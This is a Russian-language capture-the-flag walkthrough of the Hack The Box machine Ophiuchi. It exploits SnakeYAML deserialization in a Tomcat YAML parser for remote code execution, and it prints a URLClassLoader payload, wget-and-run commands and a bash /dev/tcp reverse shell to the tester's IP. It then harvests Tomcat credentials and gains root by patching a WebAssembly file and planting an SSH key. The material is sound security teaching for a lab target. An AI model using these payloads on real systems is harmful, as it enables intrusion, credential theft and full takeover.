Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

В данной статье мы продемонстрируем прохождение машины Ophiuchi с сайта Hack The Box. На их примере мы сначала протестируем SnakeYAML, а затем изменим приложение на Go, которое будет скомпилировано в WebAssembly. Научимся выполнять пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Советуем подсоединяться к машинам с HTB только через VPN. Не совершайте этого с ПК, на которых есть значимые для вас сведения, так как вы окажетесь внутри единой сети с иными участниками.

Разведка

Сканирование портов

До­бав­ляем адрес машины в файл hosts, что­бы обра­щать­ся к ней по име­ни.

10.10.10.227 ophiuchi.htb

И мы традиционно начинаем со сканирования портов. На этот раз я буду использовать быстрый сканер RustScan. Сначала он найдет все открытые порты, а затем передаст их знаменитому Nmap для написания сценариев (просто укажите параметр -A).

rustscan 10.10.10.227 -- -A

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Обнаруженные открытые порты

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Сканирование Nmap

Мы обнаружили две службы: SSH (порт 22) и веб-сервер Apache Tomcat (порт 8080). Все, что вы можете сделать сейчас по SSH, — это использовать учетные данные методом перебора, но в этом нет ничего плохого, особенно при прохождении мимо лабораторных машин. Таким образом, мы должны искать точку входа на веб-сайте.

Точка входа

При перехо­де на вебсайт нас встре­тила фор­ма пар­сера раз­метки YAML.

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Форма Online YAML Parser

Характерная трудность всякого парсера — некорректная обработка служебных символов, что способна послужить причиной к уязвимостям. Чтобы проверить, есть ли здесь такая вещь, мы по очереди отправляем все напечатанные символы в форму ввода. Я сделаю это через Burp. Первый шаг — перехватить запрос к Burp и отправить его Intruder. На вкладке Payload Location укажите тип атаки Sniper, измените значение параметра data и примените пустую нагрузку.

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Payload Position

Затем на вкладке Payload Options загрузите перечень печатаемых символов, например, этот из набора словарей SecLists. И давайте проведем брутфорс, нажав на кнопку «Start Attack». После завершения атаки отсортируйте результаты по столбцу «Length», чтобы на первом месте были наиболее важные ответы.

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Payload Options

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Результат перебора символа

Ес­ли отправ­лять обыч­ные сим­волы, то ответ всег­да будет оди­нако­вый.

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

Но мы получили ошибки в ответ на некоторые запросы. Это хорошо для нас, поскольку сообщения могут раскрывать дополнительную информацию о целевом приложении, например, об используемых технологиях. Фактически: в тексте ошибки мы видим упоминание SnakeYAML и, что более интересно, ошибка возникает в методе load.

SnakeYAML про­цес­сор раз­метки YAML для прог­рамм на Java.

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Формулировка погрешности, получаемой при отправке символа процента

Это означает, что в этом случае пользовательский ввод передается методу Yaml.load (), который преобразует документ YAML в объект Java, что может привести к уязвимости десериализации, которая, в свою очередь, открывает путь для удаленного выполнения кода (RCE).

Затем я легко нашел предварительно созданную рабочую нагрузку, которая использовала лазейку десериализации SnakeYAML (PDF). Уязвимость означает, что мы можем спровоцировать загрузку класса с нашего хоста.

Вышлем испытательную нагрузку и посмотрим результат. Чтобы получить ответ, давайте запустим простой локальный веб-сервер Python 3.

ython3 -m http.server 8000

Тут же отправим последующую нагрузку. После отправки мы увидим попытку загрузки файлов в журналах веб-сервера.

!!javax.script.ScriptEngineManager [

!!java.net.URLClassLoader [[

!!java.net.URL ["http://10.10.14.88:8000/"]

]]

]
 
Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go
 
Поиск уязвимостей в Online YAML Parser
 
В окне браузера мы видим сообщение, которое мы уже знаем, но в журналах веб-сервера мы видим две записи, одна из которых является запросом HEAD. При этом наше предположение оказалось верным, мы можем добиться загрузки кода с нашего сервера.
 
Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go
 
Логи локального веб-сервера Python
 

Точка опоры

Что ж уязвимость доказана, давайте воспользуемся ею. В нашем случае SnakeYAML попытался вызвать конструктор ScriptEngineManager, но перед этим он пытается получить доступ к конечной точке /META-INF/services/javax.script.ScriptEngineFactory(которая отражена в журналах веб-сервера), и поскольку она недоступна , наш сервер отвечает ошибкой 404. На GitHub уже есть готовая рабочая нагрузкана такой случай. Скачиваем репозиторий и вносим изменения в основной код.

git clone https://github.com/artsploit/yaml-payload.git

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Исходный код класса AwesomeScriptEngineFactory

Нас в большей мере занимает функция Runtime.getRuntime (). exec (), параметр которой необходимо изменить. Мы сделаем следующее: в первой функции мы загрузим сценарий bash с реверс‑шел­лом с локальной машины, а во второй мы назначим разрешения и выполним. Мы используем следующий бэк­шелл:

bash -i >& /dev/tcp/10.10.14.88/4321 0>&1

Тог­да стро­ки 12 и 13 будут такими:

Runtime.getRuntime().exec("wget http://[ip]:8000/rs.sh -O /tmp/rs.sh");

Runtime.getRuntime().exec("chmod +x /tmp/rs.sh ; /tmp/rs.sh");

Файл с шел­лом рас­положим в дирек­тории уже запущен­ного веб‑сер­вера.

Все, что остается, — это перейти в каталог репозитория, чтобы текущий путь соответствовал тому, что мы видим в запросе, а затем преобразовать файл Java в байт-код и перезапустить веб-сервер.

cd yaml-payload/src

javac artsploit/AwesomeScriptEngineFactory.java

sudo python3 -m http.server 80

Теперь отправим уже знакомую нагрузку пар­серу, просто изменим порт с 8000 на 80. В логах веб-сервера в директории с программой мы видим успешную загрузку файлов, в логах «старой» сети server мы увидим загрузку оболочки, а в слушателе — обратное соединение.

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Логи веб-сервера Python (порт 80)

Пен­тест SnakeYAML и модифи­кация при­ложе­ния на Go

Логи веб-сервера Python (порт 8000)

Бэкконнект

Продвижение

Мы действуем в контексте учетной записи службы веб-сервера Tomcat. В таких случаях вам всегда следует искать учетные данные, которые могут совпадать как на сервере, так и на сайте, или даже при прямом подключении к базе данных учетных записей пользователей. В Apache Tomcat учетные записи сохраняются в файле /opt/tomcat/conf/tomcat-users.xml. Для поиска критических данных достаточно искать строки с ключевыми словами pass, secret, token и т.п. Таким образом и уда­ется най­ти пароль.

Список файлов в каталоге /opt/tomcat/conf/

Пароли из файла tomcat-users.xml

С най­ден­ными учет­ными дан­ными успешно под­клю­чаем­ся по SSH и забира­ем пер­вый флаг.

Флаг пользователя

Локальное повышение привилегий

В общем, из всего того что нужно подвергнуть анализу, чтобы найти вектор для повышения привилегий, вы можете мгновенно проверить настройки sudoer и приложения с установленным битом SUID. И если мы проверим sudoer, мы найдем подсказку.

sudo -l

Настройки sudoers

Все без исключения юзеры имеют все шансы запускать следующую команду в привилегированном контексте без ввода пароля.

/usr/bin/go run /opt/wasm-functions/index.go

Здесь прос­то выпол­няет­ся файл /opt/wasm-functions/index.go. Давай взгля­нем на него.

Содержимое файла /opt/wasm-functions/index.go

В самом начале фай­ла бро­сает­ся в гла­за соединение wasmer-go, затем читается файл main.wasm, после чего значение infoэкспортируется. Если результат не равен единице, то мы просто получаем сообщение Not ready to deploy, иначе будет выполнен bash-скрипт deploy.sh(также в привилегированном контексте). Ошибка заключается в указании неявных путей к файлам, что позволяет нам размещать одни и те же файлы в текущем каталоге и работать с ними. Загрузите файл main.wasmна локальный хост.

scp admin@ophiuchi.htb:/opt/wasm-functions/main.wasm ./

Скачивание файла с сервера при помощи scp

WebAssembly — это низкоуровневый язык программирования для многослойной виртуальной машины, на которой компилируются программы на языках высокого уровня, включая Go. Мы будем использовать webassembly.github.io для анализа файла.

Во-первых, давайте посмотрим на info, для этого нам нужно преобразовать файл .wasm в текст. На сайте по ссылке выше заходим в сервис wasm2watи скачиваем наш файл.

Сервис wasm2wat

В третьей строке мы находим информацию об экспорте infoи возвращаемое значение 0 (строка 4). Мы скопировали весь представленный код и вставили его в сервис wat2wasm, изменив возвращаемое значение с нуля на единицу. Затем мы загружаем смонтированный файл.

Сервис wat2wasm

Соб­ранный файл заг­рузим в дирек­торию /tmp уда­лен­ного хос­та.

scp ./test.wasm admin@ophiuchi.htb:/tmp/main.wasm

Ос­талось соз­дать файл deploy.sh. В нем я записы­ваю руту свой ключ SSH. Спер­ва генери­руем пару клю­чей с помощью ssh-keygen.

Генерирование пары ключей

А потом ука­жем ключ в deploy.sh, обеспечим пра­во для исполне­ния а также выпол­ним целевое при­ложе­ние посредством sudo.

cd /tmp

echo 'echo ssh-rsa AAAAB3NzaC1y......p0iM9xKc= ralf@ralf-PC >> /root/.ssh/authorized_keys ; echo OK' > deploy.sh
chmod +x deploy.sh
sudo /usr/bin/go run /opt/wasm-functions/index.go
 
 
Выполнение целевого приложения
 
Ви­дим, то что ключ благополучно записал­ся, оста­лось под­клю­чить­ся с помощью при­ват­ного клю­ча а также заб­рать рут.
 
ssh -i id_rsa root@ophiuchi.htb
 
 
Флаг рута
Из данной статьи понятно что та­ким путем мы зах­ватыва­ем дан­ную машину а также получа­ем над ней пол­ный кон­троль.
 
 
 

 

 

 

 

 

 

 

 

 

 

 
 
 
 
 

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.